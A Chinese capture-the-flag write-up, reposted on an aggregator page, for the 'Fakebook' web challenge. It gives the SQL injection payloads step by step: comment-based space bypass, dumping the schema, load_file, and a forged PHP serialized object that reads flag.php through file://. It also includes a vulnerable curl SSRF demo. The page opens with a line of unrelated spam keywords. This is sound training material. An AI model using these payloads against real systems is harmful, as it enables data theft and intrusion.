国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

[網(wǎng)鼎杯 2018]Fakebook1

這篇具有很好參考價值的文章主要介紹了[網(wǎng)鼎杯 2018]Fakebook1。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

打開題目

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

第一種解法

我們先隨便join一下

這里起初我的四個框都是隨便填1的,但是發(fā)現(xiàn)注冊不了,幾經(jīng)嘗試以后發(fā)現(xiàn)blog那個框里面必須填一個類似什么網(wǎng)頁的域名,例如我亂寫的qqq.com,bai.com等

所以我最后亂填了個baidu.com就注冊成功了

其余都是亂填1

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql加入成功

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

點擊我們的用戶名

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

發(fā)現(xiàn)了注入點?no=1 原因是在1后面亂加什么東西,都會對頁面結(jié)果產(chǎn)生影響

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

?接下來我們判斷列名字段數(shù)

?no=1 order by 4 # 頁面正常

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

??no=1 order by 5 # 頁面錯誤

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

說明列名字段數(shù)為4

?我們用聯(lián)合注入查詢時,發(fā)現(xiàn)過濾了空格,我們用/**/來繞過空格

??no=11 union/**/select 1,2,3,4 #

發(fā)現(xiàn)回顯位是2

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

?no=11 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #

發(fā)現(xiàn)username下回顯了users,說明表名為users

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'? #

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

發(fā)現(xiàn)有no,username,passwd,data四個列名字段

?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users #

或者

?no=-1 union/**/select 1,concat_ws(no,username,passwd,data),3,4 from users #

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

同時我們還發(fā)現(xiàn)了反序列化函數(shù)

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

查看頁面源代碼無果后,我們訪問robots.txt看看

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

/user.php.bak,訪問這個

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

代碼如下

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

這段代碼很有可能存在ssrf漏洞

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

查看頁面源代碼得到

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

這段對應(yīng)網(wǎng)頁的博客內(nèi)容

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

而我們之前爆出來的字段正是序列化后的內(nèi)容

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:9:"baidu.com";}

說明注冊時會序列化我們的注冊信息,回顯到頁面時再反序列化。
而這個data本來回顯的是我們自己的博客,但我們把它改為回顯flag.php就可以構(gòu)成ssrf漏洞
修改自己最后blog字段內(nèi)容,改為file:///var/www/html/flag.php,并把對應(yīng)的s改為對應(yīng)長度29

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

之前爆破出來的data字段在第四位,所以我們放在第四位

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

看源代碼,點擊data的鏈接,得到flag

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

?第二種解法

我們之前在爆破列名字段數(shù)時,看見了頁面回顯的錯誤信息

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

報錯位置在/var/www/html/db.php

那我們是不是可以用sql數(shù)據(jù)庫提供的load_file讀取文件函數(shù)呢

?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4 #

查看頁面源代碼直接得到flag

[網(wǎng)鼎杯 2018]Fakebook1,數(shù)據(jù)庫,sql,mysql

做題思路

1.判斷注入點

我們發(fā)現(xiàn)了sql注入點?no=1,在1后面加內(nèi)容可以對頁面結(jié)果造成影響

2.判斷列名字段數(shù)

?no=1 order by 4 # 頁面正常

?no=1 order by 5 # 頁面錯誤

說明列名字段數(shù)為4

3.爆破表名

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #

知道表名為users

4.爆破列名

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' #

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'? #

爆破出來no,username,passwd,data四個列名

5.爆破數(shù)據(jù)

?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users #

爆破得到username列下的數(shù)據(jù)

同時發(fā)現(xiàn)反序列化函數(shù)unserialize()

6.訪問robots.txt查看源碼

在下面發(fā)現(xiàn)了

/user.php.bak

訪問,查看源碼發(fā)現(xiàn)了ssrf漏洞

7.查看博客的源代碼

發(fā)現(xiàn)data所指的內(nèi)容就是博客的內(nèi)容,構(gòu)成了一個ssrf漏洞

8.利用之前在username爆破出來的序列化數(shù)據(jù)構(gòu)造payload

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:9:"baidu.com";}

構(gòu)造payload,指向flag

/var/www/html/flag.php,利用偽協(xié)議文件包含 file:// 訪問本地文件系統(tǒng)

并修改長度

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

9.修改data的內(nèi)容,使其指向flag的鏈接,查看源代碼即可得到flag

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

知識點:

  • 什么是ssrf

SSRF (Server-Side Request Forgery,服務(wù)器端請求偽造)是一種由攻擊者構(gòu)造請求,由服務(wù)端發(fā)起請求的安全漏洞。一般情況下,SSRF攻擊的目標(biāo)是外網(wǎng)無法訪問的內(nèi)部系統(tǒng)(正因為請求是由服務(wù)端發(fā)起的,所以服務(wù)端能請求到與自身相連而與外網(wǎng)隔離的內(nèi)部系統(tǒng))。

  • SSRF的形成原因

大多是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能且沒有對目標(biāo)地址做過濾與限制。例如,黑客操作服務(wù)端從指定URL地址獲取網(wǎng)頁文本內(nèi)容,加載指定地址的圖片等,利用的是服務(wù)端的請求偽造。SSRF利用存在缺陷的Web
應(yīng)用作為代理攻擊遠(yuǎn)程和本地的服務(wù)器

  • ssrf漏洞產(chǎn)生相關(guān)函數(shù):
file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()
  • 漏洞Demo:
<?php
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);  
?>

一般情況下,SSRF是要目標(biāo)網(wǎng)站的內(nèi)部系統(tǒng)。(因為他是從內(nèi)部系統(tǒng)訪問的,所有可以通過它攻擊外網(wǎng)無法訪問的內(nèi)部系統(tǒng),也就是把目標(biāo)網(wǎng)站當(dāng)中間人)

SSRF 形成的原因大都是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能,且沒有對目標(biāo)地址做過濾與限制。比如從指定URL地址獲取網(wǎng)頁文本內(nèi)容,加載指定地址的圖片,文檔,等等。

舉例 : A網(wǎng)站,是一個所有人都可以訪問的外網(wǎng)網(wǎng)站,B網(wǎng)站是一個他們內(nèi)部的OA網(wǎng)站。
所以,我們普通用戶只可以訪問a網(wǎng)站,不能訪問b網(wǎng)站。但是我們可以同過a網(wǎng)站做中間人,訪問b網(wǎng)站,從而達(dá)到攻擊b網(wǎng)站需求。
?

  • 反序列化函數(shù)
  • 1. serialize和unserialize函數(shù)
  • 2. json_encode 和 json_decode
  • 3. var_export 和 eval
  • 4. wddx_serialize_value 和 wddx deserialize
  • 反序列化和序列化

序列化(串行化):是將變量轉(zhuǎn)換為可保存或傳輸?shù)淖址倪^程;

反序列化(反串行化):就是在適當(dāng)?shù)臅r候把這個字符串再轉(zhuǎn)化成原來的變量使用。

這兩個過程結(jié)合起來,可以輕松地存儲和傳輸數(shù)據(jù),使程序更具維護(hù)性。

常見的php序列化和反序列化方式主要有:serialize,unserialize;json_encode,json_decode。

相關(guān)文章鏈接見:

BUUCTF [網(wǎng)鼎杯 2018]Fakebook 1_buuctf fakebook 1___byb__的博客-CSDN博客

https://www.cnblogs.com/miruier/p/13907150.html文章來源地址http://www.zghlxwxcb.cn/news/detail-741149.html

到了這里,關(guān)于[網(wǎng)鼎杯 2018]Fakebook1的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進(jìn)行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • java反序列化-[網(wǎng)鼎杯 2020 朱雀組]Think Java——wp

    java反序列化-[網(wǎng)鼎杯 2020 朱雀組]Think Java——wp

    這里使用IDEA打開 可以看到這里使用了swagger進(jìn)行接口的測試,并且在 /common/test/sqlDict 路徑下發(fā)送了POST請求,請求參數(shù)為dbName 都是實體類,沒有什么重點 可以看到他是用于數(shù)據(jù)庫連接和查詢的,接受Test傳來的dbName值,并且已知一個數(shù)據(jù)庫myapp 此時可以對 /common/test/sqlDict 路徑

    2024年02月07日
    瀏覽(18)
  • 中國頂級CTF競賽網(wǎng)絡(luò)安全大賽--2022網(wǎng)鼎杯re2解題思路

    中國頂級CTF競賽網(wǎng)絡(luò)安全大賽--2022網(wǎng)鼎杯re2解題思路

    PEID查不出來,用了die,顯示是UPX3.96的殼,用了脫殼機(jī),脫不了,只能手動脫殼,拖入x64dbg,F(xiàn)9運(yùn)行到程序領(lǐng)空,很明顯的特征,push: 無腦使用ESP定律大法,對ESP下硬件訪問斷點: F9運(yùn)行,在pop處停下: F4運(yùn)行到下面第一個jmp,F(xiàn)8,進(jìn)去又是一個jmp,繼續(xù)F8,到達(dá)OEP: 使用x

    2023年04月22日
    瀏覽(22)
  • 【數(shù)據(jù)庫原理】(32)數(shù)據(jù)庫設(shè)計-數(shù)據(jù)庫物理設(shè)計

    數(shù)據(jù)庫的物理設(shè)計是數(shù)據(jù)庫設(shè)計過程中至關(guān)重要的一個階段。其核心目標(biāo)是選擇一個適合應(yīng)用環(huán)境的物理結(jié)構(gòu),以滿足特定的性能、存儲和訪問需求。這一階段涉及的關(guān)鍵任務(wù)可以分為兩個主要步驟: 1. 確定數(shù)據(jù)的物理結(jié)構(gòu) 存儲結(jié)構(gòu)和存取方法的選擇 :這包括決定數(shù)據(jù)在物

    2024年01月19日
    瀏覽(31)
  • 【數(shù)據(jù)庫概論】圖數(shù)據(jù)庫 Vs 關(guān)系數(shù)據(jù)庫(1)

    【數(shù)據(jù)庫概論】圖數(shù)據(jù)庫 Vs 關(guān)系數(shù)據(jù)庫(1)

    假設(shè)有一個社交網(wǎng)絡(luò)需要用數(shù)據(jù)庫存儲,其中人與人之間的關(guān)系有:朋友(friend)、父母(parent) 首先用關(guān)系數(shù)據(jù)庫來實現(xiàn)朋友關(guān)系,需要 3 張表:people、people_relation、relation 如果要查詢 Jam 的所有朋友的信息,那么就需要連接三張表: 如果表的數(shù)據(jù)量較大,那么查詢效率就

    2024年03月14日
    瀏覽(39)
  • 【數(shù)據(jù)庫】 | 初始數(shù)據(jù)庫

    【數(shù)據(jù)庫】 | 初始數(shù)據(jù)庫

    ??? 博客新人,希望大家一起加油進(jìn)步 ??? 乾坤未定,你我皆黑馬 1、什么是數(shù)據(jù)庫 存儲數(shù)據(jù)用文件就可以了,為什么還要弄個數(shù)據(jù)庫? 文件保存數(shù)據(jù)有以下幾個缺點: 文件的安全性問題 文件不利于數(shù)據(jù)查詢和管理 文件不利于存儲海量數(shù)據(jù) 文件在程序中控制不方便 數(shù)據(jù)

    2023年04月23日
    瀏覽(32)
  • 【數(shù)據(jù)庫】數(shù)據(jù)庫設(shè)計

    【數(shù)據(jù)庫】數(shù)據(jù)庫設(shè)計

    數(shù)據(jù)庫設(shè)計面對的主要有哪些問題 (1) 懂?dāng)?shù)據(jù)庫原理同時懂甲方軟件專業(yè)知識的人缺少; (2) 應(yīng)用的數(shù)據(jù)庫系統(tǒng)的最終目標(biāo)往往在一開始不能完全明確,與開發(fā)者與用戶方最初沒在要求完全一致有關(guān); (3) 應(yīng)用業(yè)務(wù)系統(tǒng)千差萬別的,難以找到一種通用的工具和方法。 (1) 對人員

    2024年02月05日
    瀏覽(40)
  • 數(shù)據(jù)庫應(yīng)用:數(shù)據(jù)庫管理系統(tǒng)與安裝MySQL數(shù)據(jù)庫

    數(shù)據(jù)庫應(yīng)用:數(shù)據(jù)庫管理系統(tǒng)與安裝MySQL數(shù)據(jù)庫

    目錄 一、理論 1.數(shù)據(jù)庫管理系統(tǒng) 2.關(guān)系型數(shù)據(jù)庫 3.數(shù)據(jù)庫 4.MySQL數(shù)據(jù)庫 5.MySQL部署 二、實驗 1.yum安裝MySQL 2.編譯安裝MySQL 3.配置MySQL數(shù)據(jù)庫的Tab補(bǔ)全? 三、問題 1.數(shù)據(jù)庫登錄報錯 2.數(shù)據(jù)庫密碼復(fù)雜度報錯 3.數(shù)據(jù)庫連接報錯 四、總結(jié) (1)概念 數(shù)據(jù)庫管理系統(tǒng)(Database Management

    2024年02月13日
    瀏覽(29)
  • 數(shù)據(jù)庫優(yōu)化(數(shù)據(jù)庫自身的優(yōu)化,數(shù)據(jù)庫表優(yōu)化,程序操作優(yōu)化)

    數(shù)據(jù)庫優(yōu)化(數(shù)據(jù)庫自身的優(yōu)化,數(shù)據(jù)庫表優(yōu)化,程序操作優(yōu)化)

    1. 增加次數(shù)據(jù)文件 從SQL SERVER 2005開始,數(shù)據(jù)庫不默認(rèn)生成NDF數(shù)據(jù)文件,一般情況下有一個主數(shù)據(jù)文件(MDF)就夠了,但是有些大型的數(shù)據(jù)庫,由于信息很多,而且查詢頻繁,所以為了提高查詢速度,可以把一些表或者一些表中的部分記錄分開存儲在不同的數(shù)據(jù)文件里 由于C

    2024年02月14日
    瀏覽(23)
  • MySQL數(shù)據(jù)庫:數(shù)據(jù)庫管理系統(tǒng)與安裝MySQL數(shù)據(jù)庫

    MySQL數(shù)據(jù)庫:數(shù)據(jù)庫管理系統(tǒng)與安裝MySQL數(shù)據(jù)庫

    目錄 一、理論 1.數(shù)據(jù)庫管理系統(tǒng) 2.關(guān)系型數(shù)據(jù)庫 3.數(shù)據(jù)庫 4.MySQL數(shù)據(jù)庫 5.MySQL部署 二、實驗 1.yum安裝MySQL 2.編譯安裝MySQL 3.配置MySQL數(shù)據(jù)庫的Tab補(bǔ)全? 三、問題 1.數(shù)據(jù)庫登錄報錯 2.數(shù)據(jù)庫密碼復(fù)雜度報錯 3.數(shù)據(jù)庫連接報錯 四、總結(jié) (1)概念 數(shù)據(jù)庫管理系統(tǒng)(Database Management

    2024年02月12日
    瀏覽(28)
  • 【數(shù)據(jù)庫】數(shù)據(jù)庫常用函數(shù)

    TIMESTAMPDIFF 是一個MySQL函數(shù),用于計算兩個日期或時間之間的差值。函數(shù)返回兩個日期或時間之間的差值,并以指定的單位表示。 語法: 其中: unit 是計算的單位??梢允且韵轮担篩EAR(年)、QUARTER(季度)、MONTH(月)、DAY(天)、HOUR(小時)、MINUTE(分鐘)、SECOND(秒)

    2024年02月11日
    瀏覽(26)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包